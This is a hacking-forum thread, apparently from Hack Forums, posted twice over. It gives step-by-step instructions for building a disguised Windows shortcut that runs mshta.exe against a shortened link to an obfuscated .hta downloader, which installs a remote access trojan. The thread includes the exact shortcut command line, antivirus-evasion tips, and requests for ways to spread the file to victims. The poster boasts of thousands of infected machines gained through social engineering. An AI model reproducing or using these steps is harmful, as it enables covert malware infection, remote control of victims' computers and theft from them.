(Dec 26, 2020 03:46 PM)A1exe Wrote:  Hello. I'm new to HF but I plan on contributing and making friendly threads we all can enjoy/put to good use.

My only request is you help each other, post feedback, and post the possible ways/ideas you can think of to spread shortcut files.

So... shortcut files are not really that known, the extension is .lnk and you can change the icon to a default notepad .txt icon or a .png/.jpg icon.

You will need to zip the file when sending it. I recommend not adding a .txt extension, or .png extension, and leave it as .lnk. Many are clueless.

It's best to have your own direct link host/web host for this. Upload your FUD RAT server to a web host, alternatively use Discord for a direct download link.

We'll be using a .hta exploit/downloader with the .lnk file. So download this: ufile.io/bm54rnuz

When you've got this program open, I think it's very self explanatory... prnt.sc/waj793

Paste your direct download link. Save the .hta -- now we will obfuscate the HTML.

Right click the .hta and edit it with notepad. Then go to the following link; webtoolhub.com/tn561359-html-encrypter.aspx

Paste all the HTML from the .hta and obfuscate it. Then paste the new obfuscated code into the .hta and save it.

This should give us a FUD .hta exploit.

Now upload that .hta somewhere that provides you a DIRECT link. I do not recommend Discord as I believe it is flagged with Windows Defender etc. I recommend buying your own web host. Pay with BTC. 😆

When you've uploaded the .hta to your web host, go to bit.ly [WARNING: potentially infected] and get a shortened link (this helps bypass AV) your bit.ly [WARNING: potentially infected] link should go straight to your .hta file.

Next... right click your desktop and create a shortcut. Do not browse for any file, instead, paste this.

C:\Windows\System32\mshta.exe "http/s://bit.ly [WARNING: potentially infected]/WHATEVERTHEFUCKLINKHERETOYOURHTA"

REMOVE THE / AFTER THE P (http/s) I CAN'T POST LINKS (YET)!

Click next and you should now have a .lnk file. The next step is to change the icon. Right click, click properties, and then change icon.

The best default windows icons, including notepad and png/jpg icons, are located here: %SystemRoot%\System32\SHELL32.dll

Paste that in and it should look like this: prnt.sc/wajcu6

You now have a FUD (if your RAT is FUD) .lnk shortcut exploit. You will need to zip or rar this to upload it anywhere if on windows. Chrome removes the extension if it's downloaded on its own.

Please share below any methods you can think of to spread these files. I may even tip you BTC if you come up with something creative.

I've used this shortcut exploit for many years, and had many thousands of bots with them. It's really good for SEing people. I've had a lot more success with .lnk than .doc exploits.

Need any help? Ask away!

(Dec 28, 2020 02:28 PM)Ren And Stimpy Wrote:  Nice share, but that non obfuscated string wont bypass 99% of AVs runtime.
But nice share mate <3

(Dec 26, 2020 03:46 PM)A1exe Wrote:  Hello. I'm new to HF but I plan on contributing and making friendly threads we all can enjoy/put to good use.

My only request is you help each other, post feedback, and post the possible ways/ideas you can think of to spread shortcut files.

So... shortcut files are not really that known, the extension is .lnk and you can change the icon to a default notepad .txt icon or a .png/.jpg icon.

You will need to zip the file when sending it. I recommend not adding a .txt extension, or .png extension, and leave it as .lnk. Many are clueless.

It's best to have your own direct link host/web host for this. Upload your FUD RAT server to a web host, alternatively use Discord for a direct download link.

We'll be using a .hta exploit/downloader with the .lnk file. So download this: ufile.io/bm54rnuz

When you've got this program open, I think it's very self explanatory... prnt.sc/waj793

Paste your direct download link. Save the .hta -- now we will obfuscate the HTML.

Right click the .hta and edit it with notepad. Then go to the following link; webtoolhub.com/tn561359-html-encrypter.aspx

Paste all the HTML from the .hta and obfuscate it. Then paste the new obfuscated code into the .hta and save it.

This should give us a FUD .hta exploit.

Now upload that .hta somewhere that provides you a DIRECT link. I do not recommend Discord as I believe it is flagged with Windows Defender etc. I recommend buying your own web host. Pay with BTC. 😆

When you've uploaded the .hta to your web host, go to bit.ly [WARNING: potentially infected] and get a shortened link (this helps bypass AV) your bit.ly [WARNING: potentially infected] link should go straight to your .hta file.

Next... right click your desktop and create a shortcut. Do not browse for any file, instead, paste this.

C:\Windows\System32\mshta.exe "http/s://bit.ly [WARNING: potentially infected]/WHATEVERTHEFUCKLINKHERETOYOURHTA"

REMOVE THE / AFTER THE P (http/s) I CAN'T POST LINKS (YET)!

Click next and you should now have a .lnk file. The next step is to change the icon. Right click, click properties, and then change icon.

The best default windows icons, including notepad and png/jpg icons, are located here: %SystemRoot%\System32\SHELL32.dll

Paste that in and it should look like this: prnt.sc/wajcu6

You now have a FUD (if your RAT is FUD) .lnk shortcut exploit. You will need to zip or rar this to upload it anywhere if on windows. Chrome removes the extension if it's downloaded on its own.

Please share below any methods you can think of to spread these files. I may even tip you BTC if you come up with something creative.

I've used this shortcut exploit for many years, and had many thousands of bots with them. It's really good for SEing people. I've had a lot more success with .lnk than .doc exploits.

Need any help? Ask away!

(Dec 28, 2020 02:28 PM)Ren And Stimpy Wrote:  Nice share, but that non obfuscated string wont bypass 99% of AVs runtime.
But nice share mate <3